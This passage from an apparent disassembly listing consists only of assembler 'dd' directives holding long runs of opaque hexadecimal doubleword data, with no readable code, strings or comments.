9481EB28h, 6BD23Eh, 61C48A75h, 50ABCF4Ch, 9FCDFh, 6D21525Bh dd 1B11453Dh, 29CE0E00h, 0F5EBCDC7h, 0E86B008Ah, 9074B4BAh dd 0E899DEC9h, 2F13F820h, 0D82070EDh, 92A02BE8h, 0C1BC8C20h dd 0EE5C7AD8h, 122887B4h, 2F47309Bh, 427983C2h, 0B940621Ch dd 0C23BA48Ch, 835F6754h, 26D6B17Ch, 0A43410h, 8C0817CAh dd 0E83A4785h, 0B8ACD4F3h, 27A7112Ch, 8026590Ch, 0A36A0463h dd 8071CCB1h, 54E18984h, 27881167h, 0B3E87CB3h, 0C8B90F70h dd 0F841AAACh, 4434AE5Ch, 0FB881C4h, 71942418h, 2B2064B0h dd 7440EBDCh, 27421665h, 0FC52AE8Eh, 267CDA4Ch, 0E18674C9h dd 4918C0BFh, 9368E0h, 0CED14A84h, 0E514AD81h, 0D29C2E51h dd 1CAFF00Ah, 6C87E110h, 60A1294Bh, 3A0F8648h, 0F27588C1h dd 0B0012425h, 60301025h, 317D027Ah, 9CF4C98Ch, 8060C0CAh dd 0BD3E5448h, 7C4D7FF8h, 51AE0270h, 4069EA23h, 0FDEF138h dd 430E5298h, 8EF0Ah, 0AB1BEE74h, 566415E5h, 380028B1h dd 3EB3508Fh, 71422F5h, 67C0A1Ah, 290087C9h, 84DE14D8h dd 2F715D0Ch, 1B008E10h, 0FE07E4BAh, 0AB3E7Bh, 3CA8DBE6h dd 316B78DCh, 0CBDD3Ah, 39EB2709h, 1C8AEA94h, 470DE2E5h dd 1A4BE1BFh, 867E09E4h, 90552C09h, 3538AE0h, 0D7C156E4h dd 0BBC1F059h, 131192EDh, 0E1CC4801h, 408778C8h, 8235EE2Fh dd 862B202h, 0A155625Dh, 2984365Ch, 663F7C27h, 22456863h dd 677194B0h, 2B7FAC2Ch, 0D4E8161Fh, 0EB131971h, 4B0023D3h dd 0A1E7E475h, 2B0E0476h, 0C5DDCBA7h, 807095ADh, 944F97D4h dd 0E11628EEh, 5C41452Ch, 0B91C5C77h, 1EB4034h, 8C6D47F1h dd 0C8D9CDC6h, 7802E989h, 0E0510D93h, 6E0882E5h, 0FCD088FAh dd 820ECF85h, 878BD00Bh, 893F2FB8h, 84C476DDh, 0C1E61BA7h dd 22A18D98h, 84832C68h, 0E1AF0D60h, 9CAA49E7h, 23D2007Dh dd 0DB373639h, 0E6583084h, 0C4FB2810h, 0AA403E77h, 0E12F0D14h dd 7338DD32h, 863263Ch, 0C8418A8h, 0C8C1320Ch, 0FCCFA890h dd 162C92EDh, 32E6E05Bh, 5481BBCCh, 2D5E8h, 0C5ACE7Ah dd 1CD8CF45h, 4202D238h, 5C5F1576h, 9C6A44h, 0B367C394h dd 0D7C9EBA3h, 1983430h, 36E3BD10h, 0D492CED9h, 48B8A432h dd 786D803h, 0BC65E80Ah, 0C28A1080h, 0F11439CCh, 7C14B848h dd 13C09C8Eh, 3B3D65E1h, 0CCB09492h, 8355DA00h, 1F1D4918h dd 0C0987ACCh, 0B25825A0h, 1B6738C9h, 8BE78010h, 7344B984h dd 0E5F8C3EEh, 0A80BA7FBh, 9AE2FCAh, 5B0405D0h, 0E67EB801h dd 64001862h, 0D40F76EDh, 0B2F55542h, 0EF4C3C07h, 0EEA772F0h dd 0B4C71436h, 25102C30h, 0E1A21DDBh, 61E3273Ch, 8428EF68h dd 55CF6061h, 1724821Eh, 0D4A78FBEh, 60703EC4h, 9BD51894h dd 411FBC78h, 3189E9E4h, 39C0E77h, 0AB5E59CCh, 0A1E81261h dd 670C096Ch, 0FC790060h, 814FE50Ah, 0E4AAF43Fh, 7CC5D300h dd 0D55C8E4Ah, 0DA650748h, 82721359h, 9C432AFEh, 8373C7DCh dd 10126A0Bh, 1032E2E0h, 0B62E10AFh, 45098A1h, 9132E891h dd 54B56C00h, 7BAC4882h, 15C31C9Eh, 7E3D817Ah, 28C65D25h dd 5EE81770h, 92D96442h, 7C000B65h, 5ACDDBAAh, 0E82C22FEh dd 2D10500Eh, 97430300h, 528DB390h, 35715505h, 0F48121D7h dd 11A356BAh, 6D2D03C8h, 61123BE8h, 20993929h, 0F450984Bh dd 5C760C25h, 65A0054Bh, 0A0506395h, 2BDD6B2h, 5BB17466h dd 0B458DFEDh, 0E5D0AC66h, 0C8B45D11h, 8671B700h, 4B1EB544h dd 80B97C39h, 9B3AB38Eh, 0B0E1C3CBh, 0C2E4AA8Eh, 208846FCh dd 1A0015E4h, 7E11FDAAh, 3B1B985h, 168EC128h, 94C00FE3h dd 1D00F2DCh dd 72767FFFh, 0B067E8D5h, 0E6250C60h, 0E450EC82h, 1D7072F7h dd 0D4E8D2CFh, 0E75C7D0Ah, 5289C068h, 1244409h, 7D3E56D1h dd 70EBE1B1h, 7C00D22Ch, 8E782534h, 7DBFAC4Fh, 6184FE48h dd 429BC05Eh, 59CE40D1h, 0CB7B5204h, 7F061C00h, 0A8EEA473h dd 545C1246h, 0F32C4077h, 4F9F1385h, 40246A90h, 0E8062578h dd 2850A91Bh, 20FC0897h, 790A70EAh, 6406E46Fh, 9A1F270Bh dd 0E5B440FCh, 0F0A87135h, 905BF831h, 0C9B40C90h, 28F0192Fh dd 6EE1BE16h, 847C0440h, 13753F09h, 7458E679h, 32D4C5D4h dd 8A10BA7Ch, 0C5D532C9h, 54690F50h, 822D028Ch, 0C946B7E0h dd 0A0F8489Ch, 7E452E1Ch, 0C0061298h, 30E34A0Ch, 7100ECB3h dd 59A3F42Bh, 9407BAEh, 7F1BFC66h, 6D5CBC80h, 0C10CB28Eh dd 987E6590h, 402D7964h, 832CAB8Fh, 0DF0F5CA0h, 119B8001h dd 71B26C0Ah, 0C136387Bh, 444AA84Dh, 19F21E0h, 5AA37780h dd 0D1D77840h, 73D30D0Bh, 686B0Eh, 58FA6F08h, 48007CB1h dd 2FE85418h, 7DC98B8h, 0EDE5251Bh, 93604336h, 24B0C0B3h dd 4049E2CAh, 130C5840h, 28885884h, 308C27C6h, 444B005h dd 80186C90h, 1F604F78h, 0E6738104h, 0D0D0AB46h, 4381A8Ah dd 0FD8231C2h, 4048874Fh, 259CE783h, 1F90C1B5h, 3FCC4DD9h dd 4167255Dh, 6EC90081h, 92CDF8E4h, 8C6FFA09h, 8E08813h dd 0CB5CCC02h, 64706814h, 0D9432ED3h, 4AB13084h, 20C72A3Ch dd 0D05CBEE5h, 6B498E7h, 0FEE13176h, 7F12286Ah, 2030987Ah dd 0FC311FC9h, 5D0D00BAh, 0C2D07F89h, 9000358Ch, 47CBEBE4h dd 7272AE0h, 3BB76BE8h, 91FBC07Ah, 4F7C8321h, 9CA9C800h dd 12FC36D2h, 0B50E3242h, 6466A170h, 48E5DE40h, 7B818C1Ah dd 42AFEAE6h, 2864619Ch, 9C96CAF6h, 8240542Ch, 2CB88D43h dd 0BB1415C9h, 0AD0CA481h, 0F0BDC82Eh, 70BAD439h, 5BCF70A0h dd 87167C92h, 90044019h, 0DA02591Bh, 0B8877B63h, 0D0D564E8h dd 9E92C768h, 36936E00h, 2B2F1545h, 0D3B30177h, 0E6764A7Fh dd 0F8438ACh, 8072B5CAh, 71A68EABh, 0DA09046Ah, 0ADDD40F3h dd 0F98F007Ch, 8E80E2FAh, 3FB80047h, 0F5C1F394h, 709C3073h dd 0DA1950h, 2E79D061h, 48A6E1B8h, 600120B2h, 0E65537D9h dd 2C7B99h, 0E3CCFF06h, 73A0E038h, 0A006923h, 0E5E40B6Bh dd 1DC82C6Fh, 52379E54h, 72CB1CC7h, 0EC80BDF0h, 43A0950Fh dd 421E1413h, 28702C13h, 592EE305h, 0DDDE3C59h, 14C180A4h dd 5DCF40EAh, 4FC4F654h, 9F579801h, 80EE7C25h, 3080DC54h dd 3BE3ABh, 0FDDF89BFh, 0DE8FD308h, 52553E00h, 91B2EACCh dd 97CD5CCAh, 0B2149E24h, 0B8538338h, 853A4826h, 8E523815h dd 0E80B18B2h, 0FCA90C56h, 7E127C43h, 50D83F69h, 35932E1h dd 68511928h, 9BB64A02h, 0E3DC6010h, 0EB2780D7h, 9126047Ch dd 0C100C574h, 84EAE505h, 80B50034h, 0E137FDA4h, 30C455EDh dd 10CD2125h, 16E5B440h, 0DB80C515h, 0CBB480C7h, 0D14CC990h dd 0C4404A40h, 6DE71E27h, 2740EAFEh, 9C606FE1h, 0D0495A4Ah dd 169D10E0h, 7703FA02h, 0C47AD265h, 0C8907092h, 0DDE67109h dd 973C00B2h, 6588F6h, 78E321F5h, 75CCEE1Ch, 0DC503B60h dd 13F9442Ch, 40105C9Fh, 78DA2338h, 0B35CCDDDh, 9891C00Ch dd 1D46CC28h, 1D8DC13Bh, 0C201D6E6h, 0F471CE40h, 0D77DEF0Fh dd 0D5350420h, 0C01700DCh, 488DD004h, 0EE0CD813h, 70365A5Ch dd 308400DAh, 8DE114C9h, 22002BAEh, 788F82E4h, 68EA765h dd 475C7A1Dh, 40AC303Ah, 0A0D430C0h, 21244Fh, 929876E1h dd 0D9E0388Fh, 0DFAFE500h, 6A7A45AAh, 0A0C4A04Fh, 0FB65803Ah dd 9A290C90h, 0CF83A075h, 0D0FC5D21h, 55A1BE4h, 0A43E2EF0h dd 16B08B1Ch, 0E880DEE8h, 0A48E79h, 9C201AD8h, 0DD72EA59h dd 12AA7C2Fh, 5546660h, 6AE2D260h, 6ED0009Eh, 0FCDA71D9h dd 0CD001670h, 0EA225A48h, 0ED94C9h, 90DE529h, 21605C80h dd 0F0405882h, 61B86090h, 5FF6E2C5h, 64F9496h, 177116B3h dd 8D7C862Fh, 155C2060h, 3680F860h, 0C920D0E1h, 5CE67E58h dd 9EBDE0Bh, 536B8EFBh, 39BA6401h, 0D27029C7h, 4C4C7103h dd 0CC130D5Eh, 0CC78E159h, 8604F698h, 63E1C58Ch, 77340BBBh dd 5E89101h, 48108067h, 0E4E11510h, 2CDD81A3h, 0E67A041Ch dd 0A8D1434Fh, 3457E1h, 0C2120425h, 0F09DC984h, 0B89ED2C0h dd 0D9CC0A41h, 6C0C442Ch, 5DD8B779h, 420C525h, 20C42E7Ch dd 600B34C1h, 6039CCD8h, 5C6E4007h, 48B4D485h, 348D8792h dd 3D6E470h, 3FD06BB6h, 0A8277897h, 20A8AB79h, 0E93B4A9Ch dd 0DC9914h, 46B6D075h, 970006FEh, 1BD6480Dh, 0E688D929h dd 0B74B440h, 6CABFA30h, 58260865h, 1493C0ACh, 4C8DFB07h dd 0C28588Bh, 125E39CFh, 9F40C8C1h, 8AFA01EAh, 0A344DF52h dd 0A280700Dh, 0D3B2F400h, 0B1E86D25h, 2F08BA27h, 6C182984h dd 940A6E9Bh, 0A00FE67Ch, 5C351980h, 15B1E35Fh, 18C31650h dd 87B2CF3Ch, 4705D10h, 14954D20h, 0CCEABAE5h, 0D4DBC209h dd 0D1E200EBh, 0E415BC48h, 10707CE9h, 0E70F2C69h, 0F9097BE2h dd 600578A9h, 0FC88E085h, 0B08CF6C0h, 0C0A7F8E1h, 0E06FEB31h dd 87012BCAh, 0B50D8B53h, 0BC79BCC7h, 24408A96h, 930373DCh dd 90FA6880h, 0B72402B4h, 8790BCE8h, 0AED6B39h, 84D99BE6h dd 0A1F0A900h, 359C8FCh, 0E861294Eh, 300B1B8Eh, 0CCECA7h dd 5F07217Eh, 0EF2809B0h, 90877C66h, 7BE07FCFh, 5D10F393h dd 2781CA25h, 0A5DE8254h, 0A0A07368h, 280C905Bh, 208C5897h dd 7700D831h, 3069C0D6h, 386A35h, 6D1DEE24h, 925C2D08h dd 1409805Ah, 8B0882A4h, 88A8D175h, 0C61474D2h, 13CBB28Ch dd 681989A8h, 92EF260Ah, 0D401B5CFh, 7C495CC4h, 0A9D54080h dd 0E2E85E2Ch, 488889B7h, 48275014h, 4AC77CC4h, 0D8C4E926h dd 947E7100h, 0CCC42A23h, 0B8FB12E1h, 0E8AC2064h, 50CEA655h dd 93BE7D71h, 4806274Ah, 7619224Eh, 0C994B686h, 1F9E3840h dd 0CD8C0600h, 0E6745F45h, 3F0CBC1Dh, 84118981h, 934E985Ch dd 0A8A47BC0h, 0F865137Ch, 0D5EC8850h, 8724014Ch, 19807718h dd 1734B476h, 0CC0F70h, 0AEA6086h, 532E8B72h, 89150C01h dd 79973F84h, 60962E2Ch, 0C8A8DF1Ah, 0B4508530h, 36E56194h dd 805C78B1h, 0AF0272EDh, 0D9B80017h, 7E53BDCDh, 37767A56h dd 50E6FCFDh, 9A329C90h, 0C0DF39ADh, 12B164C4h, 0B2911FC9h dd 54CF0B60h, 0BC70606Dh, 0D38D0099h, 0FE1E07Bh, 0A71F0DB1h dd 48F0DCE5h, 21B8FD0h, 0CC34656Fh, 7600D1A3h, 926133DDh dd 405CB028h, 60A010E4h, 97416Ch, 6DF2E90Ch, 8F5D0983h dd 6783CCC3h, 6CD8AE8Ah, 0E114206Fh, 90DBA5h, 32FDC8E0h dd 0F8347445h, 184760DDh, 60E5CF78h, 5C3C2609h, 15876CDh dd 71ACC98Ch, 84B07813h, 5716C619h, 0B72001CCh, 81EC97C9h dd 0DC356618h, 93C4E2F4h, 0A6A49CA8h, 0BCA0A758h, 2F38E3A7h dd 38F3BE7Eh, 44C14AD3h, 9C525191h, 157C59B0h, 314ADCE5h dd 96816D14h, 9081EF60h, 1D00BF84h, 0E6107F06h, 0EC59E4A0h dd 0A0112218h, 18B9AD44h, 30D720BBh, 0D610A1Ah, 214BE1A1h dd 0A12FC00Eh, 25F27B01h, 511190h, 3ABF9C4Fh, 26357A7Dh dd 4094E5E1h, 9482B0D4h, 6DAC9900h, 29D769ABh, 70884AFFh dd 26386BE0h, 0D1E0E660h, 79FDF974h, 0C7BD1339h, 401077D4h dd 5E55037Ch, 7A040A00h, 0AA5D08F1h, 1738BAAFh, 0C0FCE2EDh dd 0C7E13ECCh, 0A7047C9Ch dd 0EB80191Ch, 48EF5C70h, 0DB01282Dh, 0B16085DEh, 0C5D87063h dd 0C8E3A831h, 8745239h, 3EB0C318h, 5F49AE6h, 68F230FCh dd 5C096E21h, 28EC2253h, 4AB0C0D2h, 88000B5h, 7656BEAAh dd 3B6224E8h, 40BB2659h, 0E8C36712h, 97A53C90h, 0CDCB2C0Fh dd 131B2480h, 0E2C456Ch, 112D20BFh, 0F0570280h, 0E828C960h dd 0D793000Ah, 0D5326BC3h, 1B04E5F4h, 5331E2C1h, 0D3EF4E1Dh dd 0C9540E92h, 0A0485277h, 65527888h, 0D8E730C4h, 4CFAFC7Ah dd 0CCD2C424h, 0BCB42580h, 10B02117h, 7D4604CEh, 0A06FC991h dd 470C25DCh, 0E8B058E8h, 0F01F0027h, 0A4697D67h, 8D39A1E6h dd 0F7528053h, 6FDBC1D2h, 2E3126FCh, 298E01BCh, 411FE4ECh dd 60CC2138h, 714D706Ch, 0A138206Ch, 16715C98h, 60C2B802h dd 2A0E6A40h, 44CC1076h, 0CBA8373h, 39257A20h, 814AFC78h dd 8337135Ch, 83C9BD40h, 7B2024E4h, 531B00D0h, 370391D7h dd 0F800FEFAh, 21B44622h, 0E6BA31Ch, 3DFC7E5Fh, 905C7C61h dd 1C232BDFh, 6BD7D1CDh, 0CC209425h, 3AC8A0C8h, 0E8DCA388h dd 18240Ah, 0CDC3BF22h, 0E42EB64h, 47016A7Bh, 7D41062Eh dd 0CC28967Ch, 2C78FA87h, 645FE5D0h, 66A93080h, 2F401C46h dd 183326EBh, 0D23F1817h, 0E70008ECh, 0E9E3273Ch, 7E335F54h dd 0E851C4DDh, 0D810B090h, 1094F348h, 2C020FF5h, 89E45CEDh dd 8AC2DCE8h, 7D106A78h, 360180FBh, 0E595DC15h, 0D04CFB63h dd 862D18A0h, 0F0FF8F50h, 74DF1D59h, 8803D3C3h, 94984D60h dd 0F720549Ah, 0FC255051h, 0EC8958B7h, 12490F10h, 0FC7584C6h dd 26D83880h, 0F43D4CF3h, 183E6105h, 7AD0C043h, 6319C9E0h dd 0B368539Bh, 0CC691C35h, 12F6AE84h, 0A3FE7C00h, 69CC6B9h dd 77D9895h, 10B856A5h, 0A827FCECh, 88254160h, 86AC053Ah dd 0C55CB35Ah, 28E1CAE8h, 30784438h, 72E02350h, 0C8305BB1h dd 0C720D878h, 0A0110007h, 6041987Ch, 0E42475E7h, 9068B0E1h dd 28D0A425h, 4778204h, 0E978E7h, 4FAF743Eh, 14E4209Bh dd 0C39082D0h, 22C8C0DBh, 0C0B1DF0Ch, 31DE7BAFh, 85952CE1h dd 5C81251Ch, 92E1DE8h, 0B85A7E8Ch, 40485D2Ch, 4E78903Dh dd 0D380FD32h, 0E58F28DCh, 683440E2h, 28F2A74Bh, 4C081AE4h dd 51278879h, 0E67A1C68h, 0A780B816h, 3490F413h, 958AC6C1h dd 29908C10h, 19E4EE14h, 7E748188h, 0C8FBD8ACh, 19DD227h dd 89984170h, 0E4D9CCC2h, 0C7CE1B6h, 435F8D00h, 2873B380h dd 0F0E22DF7h, 0AC322880h, 350F6AE7h, 0E0EC9861h, 0A4267194h dd 0CE210F8Ch, 0E8FC5E44h, 372905C4h, 0C0A750A5h, 9EBDF20h dd 99D85D1Ah, 97806190h, 0CF09C80Ch, 9DE3E2h, 8371AD84h dd 0EA782C8Ah, 0B20608FCh, 0B465A900h, 20E80C84h, 29710B21h dd 60241490h, 19001CE1h, 0A0D0CBDAh, 0B8390021h, 3643A91h dd 0A4B51CCh, 0CA8FBC20h, 0BDE00CBh, 0A7470D22h, 0E130C31Ah dd 0A84F497Ch, 454BA0Eh, 0E6744029h, 98A828h, 5550FA98h dd 0CD19C1h, 6D356B0Bh, 26EEE447h, 0E50B1398h, 0A2C31B8Ch dd 0A7AD5C48h, 0F37189E0h, 0EF490FDh, 480197CCh, 2847025Ch dd 0FFFC80F4h, 9416EE4Fh, 7D460B4h, 9F01415Dh, 917ADAACh dd 47221AFh, 29908175h, 0DBF12BCh, 3C5090CAh, 0EF980079h dd 0C118B76Ch, 9A35E2F3h, 6804204Bh, 4CB0AF7Fh, 3DAD027Dh dd 0C13C0B4Eh, 0F496E044h, 9050C625h, 9E0C0004h, 0DF9C33E2h dd 8C275CFDh, 58FC9207h, 0BE663010h, 0A55BB808h, 6F88F351h dd 0A2AB7044h, 5A005CB2h, 644F2F9Ah, 0E3512419h, 12743808h dd 1BE39E5h, 53E122ACh, 840474E0h, 0F34A94A0h, 828884BCh dd 1BE40BEEh, 61208418h, 0E1C999C2h, 716CE819h, 0D0A228E6h dd 60F32FF0h, 0A22724A5h, 0F25D0C7Ch, 85D867h, 7A561F21h dd 0EEA49DDAh, 5B8DAA00h, 71F45413h, 93FD26E8h, 0E4C980E4h dd 0FE6F39EDh, 70E04348h, 8C507E6Ah, 3209D004h, 0C61704A9h dd 905025ACh, 0ECE7CF2Ch, 0C8E03897h, 0BDE23FFEh, 93AD4861h dd 8641D2BFh, 0F7B5F0E4h, 5E5C8C4h, 409CDCCCh, 4600CDDEh dd 3F1C275Ch, 0A3E6065h, 1D48E134h, 2CDA1C84h, 1861392h dd 318019A8h, 30C6BB0Ch, 5B8C40F8h, 30E2E2DBh, 0AC80442Ah dd 36057888h, 4E6F7C16h, 0DE0004E3h, 0AF71298Fh, 8A34CDCAh dd 58B218A7h, 0C994CF82h, 876518D4h, 10D38A0h, 0CA2BB1B9h dd 40B4DA6Fh, 0E2508FDCh, 0C0901948h, 0D5CCA2Ah, 242C918Ah dd 478F012Ch, 8738E6h, 9E790A65h, 84B027D0h, 7F603EE8h dd 0CBE20EB8h, 21D0A839h, 0FA31F1EAh, 28AA4080h, 0D405649Dh dd 0BD5A5401h, 0F7EFCF5Eh, 0BAD18880h, 6B0A129Ch, 0CA24341Dh dd 6D910500h, 9555E15Ch, 80D8D0A9h, 52E5A30Ch, 1615886h dd 557827Ah, 7C9D3F7Bh, 4C0AC080h, 12747E35h, 129823D3h dd 7968015Fh, 3E65D4E6h, 940D0C00h, 1A7BB746h, 903458CCh dd 9320A8E6h, 1EB50067h, 92281A25h, 0E0484317h, 16D2007Bh dd 14538E49h, 0BE4A01CBh, 0D4E2D521h, 0ED2424BDh, 7D3C3839h dd 0B45D535Ah, 0A105EF07h, 26CA89F3h, 170D028h, 2F106BF6h dd 0D69C64C4h, 38D42153h, 10F932CFh, 808C51DCh, 230E4969h dd 8CB2ADCFh, 0C434854Dh, 0B8ECA48Dh, 302FD488h, 0C3F71A8h dd 0B601E672h, 4EF0DA90h, 0BE005F7Fh, 0DDC31C29h, 95942A3h dd 36F19183h, 58E2E402h, 0A4925EE0h, 8DA6ED01h, 0FC4A9DB0h dd 0FFFE0C20h, 5CEC8A00h, 0A45DFB28h, 0B1235EAh, 70A673D6h dd 122C345Ah, 0E450CCE0h, 829525B8h, 29697C0h, 10D8DF60h dd 0FE67D16h, 8B378042h, 30F8E6E7h, 0B751B258h, 0D65A0FC9h dd 0E0B860C3h, 1D1DA71h, 0AB7BE81Eh, 2BB1CF4Eh, 0AF25DC01h dd 1F2E3D7Ch, 96B0C24h, 697A2150h, 65D2E824h, 8BD48727h dd 1C24C4B9h, 0C47DEA65h, 0F2A7621Fh, 0E6F21A4h, 6B657C02h dd 82ACA86Dh, 44A32DE5h, 4FC91F04h, 0C1C1B588h, 52DFC2E8h dd 0CF100694h, 13A89450h, 0FD210166h, 0D0154B17h, 0B3ECBB8Dh dd 0E41DEE04h, 0F0EC89CCh, 1E988828h, 8C367971h, 0D1CAD275h dd 0DE45E07h, 51E07CB2h, 70E6E7h, 7A1EE19Ch, 0D53FE5E0h dd 0F0BB9B28h, 0F10B3372h, 71C9C86Ah, 1801608Ch, 2558EE72h dd 7FED0000h, 0F85C6973h, 0A7B8C0D5h, 0E5DDFC98h, 0E4C84C4Eh dd 0BF1F375Ch, 85AE6720h, 909C121Eh, 5E8B6C94h, 0E54254B6h dd 4485066h, 8ECCEC1Dh, 0BFCE8CFh, 71A8F9A4h, 4BE88990h dd 714A04C0h, 0C8203D5Ah, 0ECC7C19h, 26444B88h, 2F06CEE0h dd 0E850B0E1h, 2043A98h, 86F8578h, 25CF5098h, 9C64F242h dd 5B5C50A0h, 89D00460h, 17AFD1Ah, 0AF8E7902h, 0F46F9FC2h dd 76071E8h, 7D0B1A40h, 5496009Bh, 38DF110h, 0C9159C3Ch dd 4BE8D749h, 5CC8F4C4h, 640E5A01h, 0B06CF0F4h, 49FCFF4Dh dd 47821410h, 647503F4h, 0FE56CCFBh, 0A78D0120h, 299E8A94h dd 86FC419Ah, 3038CC76h, 0DDCDD904h, 9CE0D86Bh, 0FDA11FB4h dd 7EE60137h, 0D44F7CC6h, 5090C512h, 8B096024h, 7A8D7609h dd 0B71B3E84h, 0AECCE286h, 7A007093h, 0F7D6AAABh, 44EEE5h dd 28B1545Dh, 1884ACE6h, 207D9E07h, 0B0DDB2CCh, 8A2C4C80h dd 981FE5FBh, 7004835Ah, 8700C7FDh, 32C999A6h, 0A4437D5Fh dd 0C4AC7210h, 6BEF5080h, 8C483921h, 0E2241200h, 5AC496E1h dd 0ED15E403h, 8827AC4Eh, 1E490ECAh, 0C364E535h, 36977B80h dd 8FEBC094h, 16012403h, 46CE7109h, 35FDCF5Fh, 887B8093h dd 0FA162884h, 0F88334E2h dd 0F1CFE0F3h, 0D8C8CE5Bh, 7EB89A80h, 0E3021FE4h, 0A722C9F8h dd 715C61F5h, 84002462h, 264398DEh, 0AE0040D1h, 0A4C7376Eh dd 25C13E30h, 34478ACBh, 8C9BF284h, 40D6709Ch, 0FE09AFBDh dd 293E805Ch, 0CAF400ACh, 5A97Ch, 8E426D4Bh, 25D5ECBAh dd 0D9C1F401h, 620C5C74h, 0C9B23082h, 7CD43647h, 9DCF43h dd 0DE548AD9h, 0E1AC7520h, 3C802E4Ah, 0F0BC0E63h, 119C61AAh dd 0A42D47E6h, 40E9E898h, 0C177A334h, 5BE67428h, 0D2EC3D2Ch dd 8D1428CAh, 0DA127447h, 0A08894BCh, 9230CF2Ch, 8A21B0CAh dd 305E255Ah, 69C35883h, 87CDB83Dh, 0FD7B485Ch, 0A0FBD583h dd 7673450Bh, 0EAF05A5h, 80FA16B2h, 0FCC9BE00h, 0C9ECC648h dd 83E4E878h, 4C299511h, 0A55CF4C0h, 0BD989367h, 80C8C7C4h dd 69D098EFh, 0B0403087h, 0C109D1E0h, 71469D1Eh, 847CA4C4h dd 0B24480DDh, 60127860h, 0BD1E1F59h, 7A682125h, 19A05F97h dd 38035FF8h, 0DC49E5E0h, 48B23B54h, 835C0078h, 0A311C718h dd 174D789Ch, 0D4149733h, 13B4F884h, 4F34F85h, 0C91DBCD1h dd 0A8B86CC1h, 2CD44D0Ch, 0B0C625Bh, 6F817927h, 26A108Bh dd 0FE5C7158h, 651894D0h, 0A216778h, 0E4029FD0h, 0D0F620E4h dd 61C04883h, 0DB7AA13Fh, 138074C7h, 0F067F1EBh, 1E6F6648h dd 0E61F1109h, 0FC440028h, 0F3ECC34h, 494FC9C0h, 9729F441h dd 865D4C85h, 8B08851h, 820420h, 256557D2h, 93CD5C91h dd 2170049Eh, 0A0615CE6h, 32FBE182h, 41F110E8h, 6EA3890h dd 0A85F8E35h, 48840482h, 803B3D54h, 0DB00BA8Dh, 0D99717FBh dd 0E2B04E1h, 6D0D8E0Ch, 0B08036Ah, 8D94C25h, 0E4512942h dd 90FB5998h, 108844Fh, 0E550DBCCh, 801828EAh, 3B33D374h dd 5C7D0CB6h, 0C148929Ah, 802C9C48h, 0D694B30Eh, 89DB03DCh dd 2C5C0F11h, 1A4B8FCh, 66F8315Ah, 4079FB7Ch, 80C2BC13h dd 0F79569E4h, 0FDEBCF00h, 0C6E0431Ch, 0DC71F1h, 5E53CDB6h dd 1657C727h, 6414120Bh, 0C698A5EAh, 18E64052h, 0F2AA6513h dd 0B4C68494h, 7328498h, 0EA02848Ah, 0CEAF50F1h, 0D60C91A2h dd 408781E1h, 9C8C5978h, 0F37B4860h, 2900D36Eh, 0B9800A7Ah dd 16FCFF31h, 5014CC06h, 0F0954428h, 0E066C912h, 774FE88Ch dd 0D4D41493h, 2F404F12h, 68E13FC2h, 0F1480070h, 0C9F705F8h dd 5CA44EF9h, 9A110472h, 0C7FEEB36h, 85601FECh, 5D37E1F7h dd 25B858D7h, 2972B613h, 7743180h, 0D7CC474Ch, 0C910FCA4h dd 1654C356h, 18E2A663h, 8D8B6A82h, 71A0D4E0h, 53818509h dd 0DF446B01h, 5CDCC9F2h, 3D003C58h, 373E7A63h, 0E61275BEh dd 4C82F688h, 8A456C1h, 8B074A9Ah, 68D3D372h, 0CD5D9BAEh dd 0D428E8D0h, 61114A88h, 6E50FB0Ch, 5F5DAC21h, 69BC9040h dd 7E3A0003h, 1C9997ACh, 210081E0h, 863FDBCEh, 60715C43h dd 60AB584Fh, 0B8B0645Bh, 0D4C12826h, 4F125C87h, 0CC581B95h dd 1C903E8h, 5D907B72h, 6A67E85Ch, 0E3E7C000h, 0C2E07Ah dd 0D2FC61ECh, 84262E34h, 851A5C00h, 0B30830CBh, 4F11E35h dd 4F5087EAh, 0C74EC05Eh, 3400B69Bh, 0D7E193C1h, 9F85A9h dd 0B2B319DDh, 3FEE5C25h, 0FC2FD200h, 3E08AD04h, 8FB8079Eh dd 0C348D6D8h, 19E0821Bh, 0D3607C85h, 64B12238h, 147309Ch dd 4F83778h, 55AD50C1h, 6CFCD6C7h, 99C531DFh, 3146328h dd 1A18E11Ch, 3AB057DCh, 696FF478h, 0A15EDD07h, 87E93EDCh dd 118A0748h, 15C283h, 318D8710h, 0C7030A7Eh, 0E4BFFB03h dd 1112B9Fh, 14DF5479h, 80EF51DCh, 0DA16A210h, 60282FDDh dd 0C63AD8D5h, 0E0628D91h, 60A88F70h, 0DC9EBD20h, 0B1003E61h dd 71390EFCh, 10C3FF07h, 183E042Fh, 0F83D1940h, 0D70C3FE9h dd 18B67A87h, 0B8EB6EB3h, 478049B9h, 2FF2800Ch, 10C0FE73h dd 0DE91A63Ch, 661E0090h, 0F288347Fh, 0B500D868h, 0FE72B242h dd 0A24463h, 82C7C689h, 0C0CA34BCh, 1CDCFF26h, 871E7100h dd 0A0B4FE8Fh, 825924FCh, 0DC2F6340h, 0BC682960h, 114D8Dh dd 87C9896Fh, 0F60BD47Fh, 9C38000h, 0B8E24669h, 0FFE107EAh dd 0C06B0785h, 0AAFC4B1Fh, 0A04EDC18h, 489B6FC8h, 35383414h dd 85976A02h, 71037EB3h, 0DCE10CB1h, 0BB30145Eh, 9B5C8518h dd 14813D18h, 14763464h, 0B4180E74h, 0C080996Ah, 286CDC77h dd 0F88D38C0h, 0F8C432D6h, 0C9F30037h, 3FBBEDAh, 760F1A3Fh dd 38DD859Eh, 387348h, 34B8180Dh, 0EEFE55C3h, 9B646007h dd 506CD1DBh, 8A960111h, 3E8687CAh, 37F8F498h, 0E83EF275h dd 0CE2F899Bh, 777420D0h, 4B3B7B1h, 0EC04910Bh, 0AF6C9121h dd 387420A1h, 0F788F81Eh, 79879340h, 12A94629h, 50E037A4h dd 6100F8A0h, 0F7125DF4h, 42ED877h, 0B033E91Bh, 4B50003Fh dd 0C98C92EDh, 9E009C9Fh, 8D57B2B4h, 0EE43D6C0h, 931A1016h dd 7C3C006Fh, 0F7DCE2DFh, 0D660C0BFh, 0D87D1C11h, 0E4A09C0Dh dd 1FC840FAh, 938F2485h, 90E080C0h, 2F8452C7h, 0E02BFE30h dd 194994DCh, 10E44CB0h, 9942B19Ch, 61A003CDh, 0B1721884h dd 2F499081h, 41CA5130h, 5569DB9Ah, 0D442D489h, 39D48C34h dd 8E9F1BEAh, 67B0B809h, 560016D8h, 422375B7h, 4C7C52Dh dd 9D7DBFFAh, 34483B5h, 37DFC1F0h, 581DDA2Ch, 6B57E800h dd 0E2A0EDh, 7F46C54h, 0BC909F74h, 2F4FE8DFh, 0E72706C0h dd 